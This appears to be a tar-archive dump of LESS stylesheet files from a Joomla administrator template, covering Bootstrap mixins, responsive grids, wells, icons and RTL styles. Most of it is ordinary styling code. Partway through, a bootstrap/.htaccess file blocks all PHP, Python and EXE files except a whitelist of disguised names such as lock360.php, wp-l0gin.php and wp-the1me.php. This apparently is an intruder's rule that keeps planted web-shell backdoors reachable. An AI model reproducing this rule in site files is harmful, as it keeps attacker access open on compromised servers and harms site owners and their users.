@colorStop, @endColor);
background-image: -moz-linear-gradient(left, @startColor, @midColor
@colorStop, @endColor);
background-image: -o-linear-gradient(left, @startColor, @midColor
@colorStop, @endColor);
background-image: linear-gradient(to right, @startColor, @midColor
@colorStop, @endColor);
background-repeat: no-repeat;
filter:
e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d',
endColorstr='%d',
GradientType=0)",argb(@startColor),argb(@endColor))); // IE9 and down,
gets no color-stop at all for proper fallback
}
.vertical-three-colors(@startColor: #00b3ee, @midColor: #7a43b6,
@colorStop: 50%, @endColor: #c3325f) {
background-color: mix(@midColor, @endColor, 80%);
background-image: -webkit-gradient(linear, 0 0, 0 100%,
from(@startColor), color-stop(@colorStop, @midColor), to(@endColor));
background-image: -webkit-linear-gradient(@startColor, @midColor
@colorStop, @endColor);
background-image: -moz-linear-gradient(top, @startColor, @midColor
@colorStop, @endColor);
background-image: -o-linear-gradient(@startColor, @midColor @colorStop,
@endColor);
background-image: linear-gradient(@startColor, @midColor @colorStop,
@endColor);
background-repeat: no-repeat;
filter:
e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d',
endColorstr='%d',
GradientType=0)",argb(@startColor),argb(@endColor))); // IE9 and down,
gets no color-stop at all for proper fallback
}
.radial(@innerColor: #555, @outerColor: #333) {
background-color: @outerColor;
background-image: -webkit-gradient(radial, center center, 0, center
center, 460, from(@innerColor), to(@outerColor));
background-image: -webkit-radial-gradient(circle, @innerColor,
@outerColor);
background-image: -moz-radial-gradient(circle, @innerColor,
@outerColor);
background-image: -o-radial-gradient(circle, @innerColor, @outerColor);
// > Joomla JUI
/* Joomla JUI NOTE: makes radial gradient IE 10+, also confirmed in
Bootstrap, https://github.com/twbs/bootstrap/issues/7462 */
background-image: radial-gradient(circle, @innerColor, @outerColor);
// < Joomla JUI
background-repeat: no-repeat;
}
.striped(@color: #555, @angle: 45deg) {
background-color: @color;
background-image: -webkit-gradient(linear, 0 100%, 100% 0,
color-stop(.25, rgba(255,255,255,.15)), color-stop(.25, transparent),
color-stop(.5, transparent), color-stop(.5, rgba(255,255,255,.15)),
color-stop(.75, rgba(255,255,255,.15)), color-stop(.75, transparent),
to(transparent));
background-image: -webkit-linear-gradient(@angle, rgba(255,255,255,.15)
25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%,
rgba(255,255,255,.15) 75%, transparent 75%, transparent);
background-image: -moz-linear-gradient(@angle, rgba(255,255,255,.15)
25%, transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%,
rgba(255,255,255,.15) 75%, transparent 75%, transparent);
background-image: -o-linear-gradient(@angle, rgba(255,255,255,.15) 25%,
transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%,
rgba(255,255,255,.15) 75%, transparent 75%, transparent);
background-image: linear-gradient(@angle, rgba(255,255,255,.15) 25%,
transparent 25%, transparent 50%, rgba(255,255,255,.15) 50%,
rgba(255,255,255,.15) 75%, transparent 75%, transparent);
}
}
// Reset filters for IE
.reset-filter() {
filter: e(%("progid:DXImageTransform.Microsoft.gradient(enabled =
false)"));
}
// COMPONENT MIXINS
// --------------------------------------------------
// Horizontal dividers
// -------------------------
// Dividers (basically an hr) within dropdowns and nav lists
.nav-divider(@top: #e5e5e5, @bottom: @white) {
// IE7 needs a set width since we gave a height. Restricting just
// to IE7 to keep the 1px left/right space in other browsers.
// It is unclear where IE is getting the extra space that we need
// to negative-margin away, but so it goes.
*width: 100%;
height: 1px;
margin: ((@baseLineHeight / 2) - 1) 1px; // 8px 1px
*margin: -5px 0 5px;
overflow: hidden;
background-color: @top;
border-bottom: 1px solid @bottom;
}
// Button backgrounds
// ------------------
.buttonBackground(@startColor, @endColor, @textColor: #fff, @textShadow: 0
-1px 0 rgba(0,0,0,.25)) {
// gradientBar will set the background to a pleasing blend of these, to
support IE<=9
//.gradientBar(@startColor, @endColor, @textColor, @textShadow);
background-color: @startColor;
*background-color: @startColor; /* Darken IE7 buttons by default so they
stand out more given they won't have borders */
//.reset-filter();
// in these cases the gradient won't cover the background, so we
override
&:hover, &:focus, &:active, &.active, &.disabled,
&[disabled] {
color: @textColor;
background-color: darken(@endColor, 5%);
*background-color: darken(@endColor, 5%);
}
// IE 7 + 8 can't handle box-shadow to show active, so we darken a
bit ourselves
&:active,
&.active {
background-color: @startColor;
}
}
// Navbar vertical align
// -------------------------
// Vertically center elements in the navbar.
// Example: an element has a height of 30px, so write out
`.navbarVerticalAlign(30px);` to calculate the appropriate top margin.
.navbarVerticalAlign(@elementHeight) {
margin-top: (@navbarHeight - @elementHeight) / 2;
}
// Grid System
// -----------
// Centered container element
.container-fixed() {
margin-right: auto;
margin-left: auto;
.clearfix();
}
// Table columns
.tableColumns(@columnSpan: 1) {
float: none; // undo default grid column styles
width: ((@gridColumnWidth) * @columnSpan) + (@gridGutterWidth *
(@columnSpan - 1)) - 16; // 16 is total padding on left and right of table
cells
margin-left: 0; // undo default grid column styles
}
// Make a Grid
// Use .makeRow and .makeColumn to assign semantic layouts grid system
behavior
.makeRow() {
margin-left: @gridGutterWidth * -1;
.clearfix();
}
.makeColumn(@columns: 1, @offset: 0) {
float: left;
margin-left: (@gridColumnWidth * @offset) + (@gridGutterWidth * (@offset
- 1)) + (@gridGutterWidth * 2);
width: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns -
1));
}
// The Grid
#grid {
.core (@gridColumnWidth, @gridGutterWidth) {
.spanX (@index) when (@index > 0) {
.span@{index} { .span(@index); }
.spanX(@index - 1);
}
.spanX (0) {}
.offsetX (@index) when (@index > 0) {
.offset@{index} { .offset(@index); }
.offsetX(@index - 1);
}
.offsetX (0) {}
.offset (@columns) {
margin-left: (@gridColumnWidth * @columns) + (@gridGutterWidth *
(@columns + 1));
}
.span (@columns) {
width: (@gridColumnWidth * @columns) + (@gridGutterWidth * (@columns
- 1));
}
.row {
margin-left: @gridGutterWidth * -1;
.clearfix();
}
[class*="span"] {
float: left;
min-height: 1px; // prevent collapsing columns
margin-left: @gridGutterWidth;
}
// Set the container width, and override it for fixed navbars in media
queries
.container,
.navbar-static-top .container,
.navbar-fixed-top .container,
.navbar-fixed-bottom .container { .span(@gridColumns); }
// generate .spanX and .offsetX
.spanX (@gridColumns);
.offsetX (@gridColumns);
}
.fluid (@fluidGridColumnWidth, @fluidGridGutterWidth) {
.spanX (@index) when (@index > 0) {
.span@{index} { .span(@index); }
.spanX(@index - 1);
}
.spanX (0) {}
.offsetX (@index) when (@index > 0) {
.offset@{index} { .offset(@index); }
.offset@{index}:first-child { .offsetFirstChild(@index); }
.offsetX(@index - 1);
}
.offsetX (0) {}
.offset (@columns) {
margin-left: (@fluidGridColumnWidth * @columns) +
(@fluidGridGutterWidth * (@columns - 1)) + (@fluidGridGutterWidth*2);
*margin-left: (@fluidGridColumnWidth * @columns) +
(@fluidGridGutterWidth * (@columns - 1)) - (.5 / @gridRowWidth * 100 * 1%)
+ (@fluidGridGutterWidth*2) - (.5 / @gridRowWidth * 100 * 1%);
}
.offsetFirstChild (@columns) {
margin-left: (@fluidGridColumnWidth * @columns) +
(@fluidGridGutterWidth * (@columns - 1)) + (@fluidGridGutterWidth);
*margin-left: (@fluidGridColumnWidth * @columns) +
(@fluidGridGutterWidth * (@columns - 1)) - (.5 / @gridRowWidth * 100 * 1%)
+ @fluidGridGutterWidth - (.5 / @gridRowWidth * 100 * 1%);
}
.span (@columns) {
width: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth *
(@columns - 1));
*width: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth *
(@columns - 1)) - (.5 / @gridRowWidth * 100 * 1%);
}
.row-fluid {
width: 100%;
.clearfix();
[class*="span"] {
.input-block-level();
float: left;
margin-left: @fluidGridGutterWidth;
*margin-left: @fluidGridGutterWidth - (.5 / @gridRowWidth * 100 *
1%);
}
[class*="span"]:first-child {
margin-left: 0;
}
// Space grid-sized controls properly if multiple per line
.controls-row [class*="span"] + [class*="span"] {
margin-left: @fluidGridGutterWidth;
}
// generate .spanX and .offsetX
.spanX (@gridColumns);
.offsetX (@gridColumns);
}
}
.input(@gridColumnWidth, @gridGutterWidth) {
.spanX (@index) when (@index > 0) {
input.span@{index}, textarea.span@{index},
.uneditable-input.span@{index} { .span(@index); }
.spanX(@index - 1);
}
.spanX (0) {}
.span(@columns) {
width: ((@gridColumnWidth) * @columns) + (@gridGutterWidth *
(@columns - 1)) - 14;
}
input,
textarea,
.uneditable-input {
margin-left: 0; // override margin-left from core grid system
}
// Space grid-sized controls properly if multiple per line
.controls-row [class*="span"] + [class*="span"] {
margin-left: @gridGutterWidth;
}
// generate .spanX
.spanX (@gridColumns);
}
}
bootstrap/responsive-1200px-min.less000064400000010420151163446360013365
0ustar00//
// Responsive: Large desktop and up
// --------------------------------------------------
@media (min-width: 1200px) {
// Fixed grid
#grid > .core(@gridColumnWidth1200, @gridGutterWidth1200);
// Fluid grid
.row-fluid {
width: 100%;
*zoom: 1;
}
.row-fluid:before,
.row-fluid:after {
display: table;
content: "";
line-height: 0;
}
.row-fluid:after {
clear: both;
}
.row-fluid [class*="span"] {
display: block;
width: 100%;
min-height: 28px;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
float: left;
margin-left: 2.76243094%;
*margin-left: 2.70923945%;
}
.row-fluid [class*="span"]:first-child {
margin-left: 0;
}
.row-fluid .controls-row [class*="span"] +
[class*="span"] {
margin-left: 2.76243094%;
}
.row-fluid .span12 {
width: 100%;
*width: 99.94680851%;
}
.row-fluid .span11 {
width: 91.43646409%;
*width: 91.3832726%;
}
.row-fluid .span10 {
width: 82.87292818%;
*width: 82.81973669%;
}
.row-fluid .span9 {
width: 74.30939227%;
*width: 74.25620078%;
}
.row-fluid .span8 {
width: 65.74585635%;
*width: 65.69266486%;
}
.row-fluid .span7 {
width: 57.18232044%;
*width: 57.12912895%;
}
.row-fluid .span6 {
width: 48.61878453%;
*width: 48.56559304%;
}
.row-fluid .span5 {
width: 40.05524862%;
*width: 40.00205713%;
}
.row-fluid .span4 {
width: 31.49171271%;
*width: 31.43852122%;
}
.row-fluid .span3 {
width: 22.9281768%;
*width: 22.87498531%;
}
.row-fluid .span2 {
width: 14.36464088%;
*width: 14.31144939%;
}
.row-fluid .span1 {
width: 5.80110497%;
*width: 5.74791348%;
}
.row-fluid .offset12 {
margin-left: 105.52486188%;
*margin-left: 105.4184789%;
}
.row-fluid .offset12:first-child {
margin-left: 102.76243094%;
*margin-left: 102.65604796%;
}
.row-fluid .offset11 {
margin-left: 96.96132597%;
*margin-left: 96.85494299%;
}
.row-fluid .offset11:first-child {
margin-left: 94.19889503%;
*margin-left: 94.09251205%;
}
.row-fluid .offset10 {
margin-left: 88.39779006%;
*margin-left: 88.29140708%;
}
.row-fluid .offset10:first-child {
margin-left: 85.63535912%;
*margin-left: 85.52897614%;
}
.row-fluid .offset9 {
margin-left: 79.83425414%;
*margin-left: 79.72787116%;
}
.row-fluid .offset9:first-child {
margin-left: 77.0718232%;
*margin-left: 76.96544023%;
}
.row-fluid .offset8 {
margin-left: 71.27071823%;
*margin-left: 71.16433525%;
}
.row-fluid .offset8:first-child {
margin-left: 68.50828729%;
*margin-left: 68.40190431%;
}
.row-fluid .offset7 {
margin-left: 62.70718232%;
*margin-left: 62.60079934%;
}
.row-fluid .offset7:first-child {
margin-left: 59.94475138%;
*margin-left: 59.8383684%;
}
.row-fluid .offset6 {
margin-left: 54.14364641%;
*margin-left: 54.03726343%;
}
.row-fluid .offset6:first-child {
margin-left: 51.38121547%;
*margin-left: 51.27483249%;
}
.row-fluid .offset5 {
margin-left: 45.5801105%;
*margin-left: 45.47372752%;
}
.row-fluid .offset5:first-child {
margin-left: 42.81767956%;
*margin-left: 42.71129658%;
}
.row-fluid .offset4 {
margin-left: 37.01657459%;
*margin-left: 36.91019161%;
}
.row-fluid .offset4:first-child {
margin-left: 34.25414365%;
*margin-left: 34.14776067%;
}
.row-fluid .offset3 {
margin-left: 28.45303867%;
*margin-left: 28.3466557%;
}
.row-fluid .offset3:first-child {
margin-left: 25.69060773%;
*margin-left: 25.58422476%;
}
.row-fluid .offset2 {
margin-left: 19.88950276%;
*margin-left: 19.78311978%;
}
.row-fluid .offset2:first-child {
margin-left: 17.12707182%;
*margin-left: 17.02068884%;
}
.row-fluid .offset1 {
margin-left: 11.32596685%;
*margin-left: 11.21958387%;
}
.row-fluid .offset1:first-child {
margin-left: 8.56353591%;
*margin-left: 8.45715293%;
}
// Input grid
#grid > .input(@gridColumnWidth1200, @gridGutterWidth1200);
// Thumbnails
.thumbnails {
margin-left: -@gridGutterWidth1200;
}
.thumbnails > li {
margin-left: @gridGutterWidth1200;
}
.row-fluid .thumbnails {
margin-left: 0;
}
}
bootstrap/responsive-768px-979px.less000064400000010254151163446360013451
0ustar00//
// Responsive: Tablet to desktop
// --------------------------------------------------
@media (min-width: 768px) and (max-width: 979px) {
// Fixed grid
#grid > .core(@gridColumnWidth768, @gridGutterWidth768);
// Fluid grid
.row-fluid {
width: 100%;
*zoom: 1;
}
.row-fluid:before,
.row-fluid:after {
display: table;
content: "";
line-height: 0;
}
.row-fluid:after {
clear: both;
}
.row-fluid [class*="span"] {
display: block;
width: 100%;
min-height: 28px;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
float: left;
margin-left: 2.76243094%;
*margin-left: 2.70923945%;
}
.row-fluid [class*="span"]:first-child {
margin-left: 0;
}
.row-fluid .controls-row [class*="span"] +
[class*="span"] {
margin-left: 2.76243094%;
}
.row-fluid .span12 {
width: 100%;
*width: 99.94680851%;
}
.row-fluid .span11 {
width: 91.43646409%;
*width: 91.3832726%;
}
.row-fluid .span10 {
width: 82.87292818%;
*width: 82.81973669%;
}
.row-fluid .span9 {
width: 74.30939227%;
*width: 74.25620078%;
}
.row-fluid .span8 {
width: 65.74585635%;
*width: 65.69266486%;
}
.row-fluid .span7 {
width: 57.18232044%;
*width: 57.12912895%;
}
.row-fluid .span6 {
width: 48.61878453%;
*width: 48.56559304%;
}
.row-fluid .span5 {
width: 40.05524862%;
*width: 40.00205713%;
}
.row-fluid .span4 {
width: 31.49171271%;
*width: 31.43852122%;
}
.row-fluid .span3 {
width: 22.9281768%;
*width: 22.87498531%;
}
.row-fluid .span2 {
width: 14.36464088%;
*width: 14.31144939%;
}
.row-fluid .span1 {
width: 5.80110497%;
*width: 5.74791348%;
}
.row-fluid .offset12 {
margin-left: 105.52486188%;
*margin-left: 105.4184789%;
}
.row-fluid .offset12:first-child {
margin-left: 102.76243094%;
*margin-left: 102.65604796%;
}
.row-fluid .offset11 {
margin-left: 96.96132597%;
*margin-left: 96.85494299%;
}
.row-fluid .offset11:first-child {
margin-left: 94.19889503%;
*margin-left: 94.09251205%;
}
.row-fluid .offset10 {
margin-left: 88.39779006%;
*margin-left: 88.29140708%;
}
.row-fluid .offset10:first-child {
margin-left: 85.63535912%;
*margin-left: 85.52897614%;
}
.row-fluid .offset9 {
margin-left: 79.83425414%;
*margin-left: 79.72787116%;
}
.row-fluid .offset9:first-child {
margin-left: 77.0718232%;
*margin-left: 76.96544023%;
}
.row-fluid .offset8 {
margin-left: 71.27071823%;
*margin-left: 71.16433525%;
}
.row-fluid .offset8:first-child {
margin-left: 68.50828729%;
*margin-left: 68.40190431%;
}
.row-fluid .offset7 {
margin-left: 62.70718232%;
*margin-left: 62.60079934%;
}
.row-fluid .offset7:first-child {
margin-left: 59.94475138%;
*margin-left: 59.8383684%;
}
.row-fluid .offset6 {
margin-left: 54.14364641%;
*margin-left: 54.03726343%;
}
.row-fluid .offset6:first-child {
margin-left: 51.38121547%;
*margin-left: 51.27483249%;
}
.row-fluid .offset5 {
margin-left: 45.5801105%;
*margin-left: 45.47372752%;
}
.row-fluid .offset5:first-child {
margin-left: 42.81767956%;
*margin-left: 42.71129658%;
}
.row-fluid .offset4 {
margin-left: 37.01657459%;
*margin-left: 36.91019161%;
}
.row-fluid .offset4:first-child {
margin-left: 34.25414365%;
*margin-left: 34.14776067%;
}
.row-fluid .offset3 {
margin-left: 28.45303867%;
*margin-left: 28.3466557%;
}
.row-fluid .offset3:first-child {
margin-left: 25.69060773%;
*margin-left: 25.58422476%;
}
.row-fluid .offset2 {
margin-left: 19.88950276%;
*margin-left: 19.78311978%;
}
.row-fluid .offset2:first-child {
margin-left: 17.12707182%;
*margin-left: 17.02068884%;
}
.row-fluid .offset1 {
margin-left: 11.32596685%;
*margin-left: 11.21958387%;
}
.row-fluid .offset1:first-child {
margin-left: 8.56353591%;
*margin-left: 8.45715293%;
}
// Input grid
#grid > .input(@gridColumnWidth768, @gridGutterWidth768);
// No need to reset .thumbnails here since it's the same
@gridGutterWidth
}
bootstrap/wells.less000064400000001041151163446360010604 0ustar00//
// Wells
// --------------------------------------------------
// Base class
.well {
min-height: 20px;
padding: 19px;
margin-bottom: 20px;
background-color: @wellBackground;
border: 1px solid @wellBackground;
.border-radius(@baseBorderRadius);
//.box-shadow(inset 0 1px 1px rgba(0,0,0,.05));
blockquote {
border-color: #f0f0f0;
border-color: rgba(0,0,0,.15);
}
}
// Sizes
.well-large {
padding: 24px;
.border-radius(@borderRadiusLarge);
}
.well-small {
padding: 9px;
.border-radius(@borderRadiusSmall);
}
bootstrap/.htaccess000064400000000411151163446360010364
0ustar00<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>icomoon.less000064400000002077151163446360007116
0ustar00@font-face {
font-family: 'IcoMoon';
src: url('../../../../media/jui/fonts/IcoMoon.eot');
src: url('../../../../media/jui/fonts/IcoMoon.eot?#iefix')
format('embedded-opentype'),
url('../../../../media/jui/fonts/IcoMoon.woff')
format('woff'),
url('../../../../media/jui/fonts/IcoMoon.ttf')
format('truetype'),
url('../../../../media/jui/fonts/IcoMoon.svg#IcoMoon')
format('svg');
font-weight: normal;
font-style: normal;
}
@import "../../../../media/jui/less/icomoon.less";
.icon-edit:before {
color: @btnInfoBackgroundHighlight;
}
.icon-publish:before,
.icon-save:before,
.icon-ok:before,
.icon-save-new:before,
.icon-save-copy:before,
.btn-toolbar .icon-copy:before {
color: @btnSuccessBackgroundHighlight;
}
.icon-unpublish:before,
.icon-not-ok:before,
.icon-eye-close:before,
.icon-ban-circle:before,
.icon-minus-sign:before,
.btn-toolbar .icon-cancel:before {
color: @btnDangerBackgroundHighlight;
}
.icon-featured:before,
.icon-default:before,
.icon-expired:before,
.icon-pending:before {
color: @btnWarningBackgroundHighlight;
}
.icon-back:before {
content: "\e008";
}pages/_com_cpanel.less000064400000000561151163446370011006 0ustar00//
com_cpanel
.com_cpanel {
.well {
padding: 8px 14px;
border: 1px solid rgba(0,0,0,0.05);
.module-title.nav-header {
color: #555;
}
> .row-striped, > .list-striped {
margin: 0 -14px;
> .row-fluid {
padding: 8px 14px;
[class*="span"] {
margin-left: 0;
}
}
> li {
padding-left: 15px;
padding-right: 15px;
}
}
}
}pages/_com_postinstall.less000064400000000502151163446370012113 0ustar00//
com_postinstall
.com_postinstall {
fieldset {
background-color: #fafafa;
border: 1px solid #ccc;
border-radius: 5px;
margin: 0 0 18px;
padding: 4px 18px 18px;
.btn {
margin-top: 10px;
}
}
legend {
border: 0 none;
display: inline-block;
padding: 0 5px;
margin-bottom: 0;
width: auto;
}
}
pages/_com_privacy.less000064400000000563151163446370011223 0ustar00//
com_privacy
.com_privacy {
.well {
padding: 8px 14px;
border: 1px solid rgba(0,0,0,0.05);
.module-title.nav-header {
color: #555;
}
> .row-striped, > .list-striped {
margin: 0 -14px;
> .row-fluid {
padding: 8px 14px;
[class*="span"] {
margin-left: 0;
}
}
> li {
padding-left: 15px;
padding-right: 15px;
}
}
}
}pages/_com_templates.less000064400000001531151163446370011540 0ustar00//
Template Menu Assignment
#menu-assignment {
position: relative;
.menu-links {
margin-top: 15px;
margin-left: 0;
-webkit-column-count: 4;
-moz-column-count: 4;
column-count: 4;
-moz-column-gap: 15px;
-webkit-column-gap: 15px;
column-gap: 15px;
> li {
display: inline-block;
vertical-align: top;
margin-bottom: 15px;
width: 100%;
list-style: none;
page-break-inside: avoid;
break-inside: avoid;
}
}
.menu-links-block {
background-color: #fafafa;
border: 1px solid #ddd;
border-radius: 3px;
padding: 15px;
}
}
@media (max-width: @xl-max) {
#menu-assignment .menu-links {
-webkit-column-count: 3;
-moz-column-count: 3;
column-count: 3;
}
}
@media (max-width: @md-max) {
#menu-assignment .menu-links {
-webkit-column-count: auto;
-moz-column-count: auto;
column-count: auto;
}
}
template-rtl.less000064400000017004151163446370010062 0ustar00@import
"template.less";
@import "../../../../media/jui/less/bootstrap-rtl.less";
.navbar {
.admin-logo {
float: right;
padding: 7px 15px 0px 12px;
}
.brand {
float: left;
padding: 6px 10px;
}
.nav {
margin: 0 0 0 10px;
> li > a {
padding: 6px 10px;
}
> li ul {
overflow-y: auto;
overflow-x: hidden;
-webkit-overflow-scrolling: touch;
-moz-overflow-scrolling: touch;
-ms-overflow-scrolling: touch;
-o-overflow-scrolling: touch;
overflow-scrolling: touch;
height: auto;
max-height: 500px;
margin: 0;
&::-webkit-scrollbar {
-webkit-appearance: none;
width: 7px;
}
&::-webkit-scrollbar-thumb {
border-radius: 4px;
background-color: rgba(0,0,0,.5);
-webkit-box-shadow: 0 0 1px rgba(255,255,255,.5);
}
}
}
.nav-user .dropdown-menu li span {
padding-left: 0;
padding-right: 10px;
}
.nav > .dropdown.open:after {
right: 10px;
width: 0;
}
.empty-nav {
display: none;
}
}
#toolbar {
.btn {
padding: 0 10px;
}
[class^="icon-"], [class*=" icon-"] {
border-radius: 0 3px 3px 0;
border-right: 0;
border-left: 1px solid #b3b3b3;
margin: 0 -10px 0 6px;
}
}
.chzn-container-single .chzn-single {
padding-left: 8px;
div {
border-left: 0;
border-right: 1px solid #cccccc;
}
abbr {
left: 36px;
}
}
.chzn-container-active.chzn-with-drop .chzn-single div {
background-color: #f3f3f3;
border-bottom: 1px solid #cccccc;
border-bottom-left-radius: 0px;
border-bottom-right-radius: 3px;
border-left: 1px solid #cccccc;
}
.chzn-container-multi .chzn-choices .search-choice {
padding-left: 7px;
.search-choice-close {
margin-left: 0;
margin-right: 3px;
}
}
.chzn-container .chzn-single.chzn-color[rel="value_0"] div,
.chzn-container .chzn-single.chzn-color[rel="value_1"] div {
border-right: none;
}
.chzn-container-single .chzn-search::after {
left: 20px;
right: auto;
}
.container-logo {
padding-top: 0;
float: left;
text-align: left;
}
.page-title {
[class^="icon-"],
[class*=" icon-"] {
margin-right: 0;
margin-left: 16px;
}
}
@media (max-width: @md-max) {
.navbar {
.admin-logo {
margin-right: 10px;
padding: 9px 9px 0 9px;
}
.btn-navbar {
float: left;
margin-right: 5px;
margin-left: 3px;
}
.nav-collapse .nav.pull-left {
float: none;
margin-left: 0;
margin-right: 0;
}
}
.nav-collapse .nav > li {
float: none;
}
.page-title {
[class^="icon-"],
[class*=" icon-"] {
margin-left: 10px;
}
}
}
/* Status module */
#status {
padding: 4px 10px;
.btn-group {
margin: 0;
}
.btn-group.separator:after {
content: ' ';
display: block;
float: left;
background: #ADADAD;
margin: 0 10px;
height: 15px;
width: 1px;
}
.badge {
margin-left: .25em;
margin-right: 0;
}
}
/* Menus */
.dropdown-menu > li > a {
text-align: right;
}
/* btn-group */
.btn-group.btn-group-yesno > .btn, .btn-group > .btn, .btn-group >
.btn + .dropdown-toggle {
float: none;
}
/* For grid.boolean */
a.grid_false {
display: inline-block;
height: 16px;
width: 16px;
background-image: url('../images/admin/publish_r.png');
}
a.grid_true {
display: inline-block;
height: 16px;
width: 16px;
background-image: url('../images/admin/icon-16-allow.png');
}
/* Login */
.view-login {
.login-joomla {
position: absolute;
right: 50%;
height: 24px;
width: 24px;
margin-right: -12px;
font-size: 22px;
}
.input-medium {
width: 169px;
}
}
.login {
.chzn-single {
width: 219px !important;
}
.chzn-container,
.chzn-drop {
width: 227px !important;
max-width: 227px !important;
}
.input-prepend .chzn-container-single .chzn-single {
.border-radius(3px 0 0 3px);
border-right:0px;
}
}
/* For collapsible sidebar */
.j-sidebar-container {
position: absolute;
display: block;
left: auto;
right: -16.5%;
padding-top: 28px;
padding-bottom: 40px;
clear: both;
margin: -10px -1px 0 0;
border-right: 0;
border-left: 1px solid #d3d3d3;
}
.j-sidebar-container.j-sidebar-hidden {
left: auto;
right: -16.5%;
}
.j-sidebar-container.j-sidebar-visible {
left: auto;
right: 0;
}
.j-toggle-sidebar-header {
padding: 10px 19px 10px 0;
}
.sidebar {
padding: 3px 4px 3px 3px;
}
.j-toggle-button-wrapper {
&.j-toggle-hidden {
right: auto;
left: -24px;
}
&.j-toggle-visible {
right: auto;
left: 10px;
}
}
.j-sidebar-container .icon-folder-2 {
line-height: 15px;
padding-left: 0;
}
#system-message-container,
#j-main-container {
padding: 0 5px 0 0;
}
#system-message-container.j-toggle-main,
#j-main-container.j-toggle-main,
#system-debug.j-toggle-main {
float: left;
}
@media (max-width: @lg-max) {
.j-toggle-button-wrapper.j-toggle-hidden {
right: auto;
left: -20px;
}
}
@media (max-width: @md-max) {
.j-sidebar-container {
position: relative;
padding: 0;
border-right: 0;
border-left: 0;
}
.j-sidebar-container.j-sidebar-hidden {
margin-left: auto;
margin-right: 16.5%;
}
.j-sidebar-container.j-sidebar-visible {
margin-left: auto;
margin-right: 0;
}
/* login */
.view-login {
select {
width: 229px
}
}
}
#j-main-container.expanded {
margin-right: 0;
}
/* Modal batch */
@media (min-width: @md) {
.row-fluid [class*="span"] {
margin-right: 15px;
margin-left: 0;
}
.row-fluid .modal-batch [class*="span"] {
margin-right: 0;
}
}
.row-fluid .modal-batch [class*="span"] {
margin-right: 0;
}
/* Extended Responsive Styles */
@media (max-width: @sm-max) {
.btn-toolbar .btn-wrapper .btn {
width: 100% !important;
margin-right:0px;
}
.btn-toolbar .btn-wrapper {
margin:0 10px 5px 10px;
}
}
@media (max-width: 420px) {
.j-sidebar-container {
margin: 0;
}
/* login */
.view-login {
.input-medium {
width: 173px;
}
select {
width: 229px
}
}
}
/* Stats plugin */
.js-pstats-data-details dd {
margin-right: 240px;
}
/* Modal footer */
.modal-footer button {
float: left;
}
/* Modal Header text align right even if parent container centered */
.modal-header {
text-align: right;
}
/* Media Manager */
#mediamanager-form .thumbnails-media .thumbnail {
margin-left: 18px !important;
margin-right: 0;
direction: ltr;
text-align: center;
}
.thumbnails-media .imgThumb label::before, .thumbnails-media .imgThumb
.imgThumbInside::before {
left: 0;
right: auto;
border-radius: 3px 0;
}
.thumbnails-media .thumbnail input[type="radio"],
.thumbnails-media .thumbnail input[type="checkbox"] {
left: auto;
right: 5px;
}
.thumbnails-media .imgDelete a.close {
border-radius: 0 3px;
}
.thumbnails-media .imgPreview a, .thumbnails-media .imgDetails {
border-radius: 3px 0;
border-width: 1px;
left: 0;
right: 0;
text-align: left;
direction: ltr;
}
.thumbnails-media .imgPreview a {
width: 100%;
}
/* SubForms (Table) */
.subform-table-layout {
td {
padding-left: 10px;
&::before {
content: attr(data-column);
left: auto;
right: 10px;
padding-left: 10px;
padding-right: 0;
}
}
.subform-repeatable tbody td:last-of-type {
text-align: left;
}
.form-horizontal .controls {
margin-top: 0;
}
}
/* com_templates */
.tree-holder {
ul {
ul {
padding-right: 15px;
box-shadow: 3px 0 0 rgba(0, 0, 0, 0.08);
padding-left: 0;
.folder-url, .file {
box-shadow: 3px 0 0 @linkColor;
border-right: 0;
border-left: 1px solid rgba(0, 0, 0, 0.08);
}
}
}
}
/* Dropdown */
.dropdown-reverse {
left: 0;
right: auto;
}
/* CPanel Site Information mod_stats_admin */
.com_cpanel .well > .row-striped > .row-fluid
[class*="span"],
.com_cpanel .well > .list-striped > .row-fluid
[class*="span"] {
margin-right: 0;
}
template.less000064400000007047151163446370007271 0ustar00// CSS Reset
@import "../../../../media/jui/less/reset.less";
// Core variables and mixins
@import "variables.less";
// Custom for this template
@import "bootstrap/mixins.less";
// Grid system and page structure
@import "../../../../media/jui/less/scaffolding.less";
@import "../../../../media/jui/less/grid.less";
@import "../../../../media/jui/less/layouts.less";
// Base CSS
@import "../../../../media/jui/less/type.less";
@import "../../../../media/jui/less/code.less";
@import "../../../../media/jui/less/forms.less";
@import "../../../../media/jui/less/tables.less";
// Components: common
// @import "../../../../media/jui/less/sprites.less";
@import "../../../../media/jui/less/dropdowns.less";
@import "bootstrap/wells.less";
@import "../../../../media/jui/less/component-animations.less";
@import "../../../../media/jui/less/close.less";
// Components: Buttons & Alerts
@import "bootstrap/buttons.less";
@import "bootstrap/button-groups.less";
@import "../../../../media/jui/less/alerts.less";
// Note: alerts share common CSS with buttons and thus have styles in
buttons.less
// Components: Nav
@import "../../../../media/jui/less/navs.less";
@import "../../../../media/jui/less/navbar.less";
@import "../../../../media/jui/less/breadcrumbs.less";
@import "../../../../media/jui/less/pagination.less";
@import "../../../../media/jui/less/pager.less";
// Components: Popovers
@import "../../../../media/jui/less/modals.less";
@import "../../../../media/jui/less/tooltip.less";
@import "../../../../media/jui/less/popovers.less";
// Components: Misc
@import "../../../../media/jui/less/thumbnails.less";
@import "../../../../media/jui/less/media.less";
@import "../../../../media/jui/less/labels-badges.less";
@import "../../../../media/jui/less/progress-bars.less";
@import "../../../../media/jui/less/accordion.less";
@import "../../../../media/jui/less/carousel.less";
@import "../../../../media/jui/less/hero-unit.less";
// Utility classes
@import "../../../../media/jui/less/utilities.less";
// RESPONSIVE CLASSES
// ------------------
@import "../../../../media/jui/less/responsive-utilities.less";
// MEDIA QUERIES
// ------------------
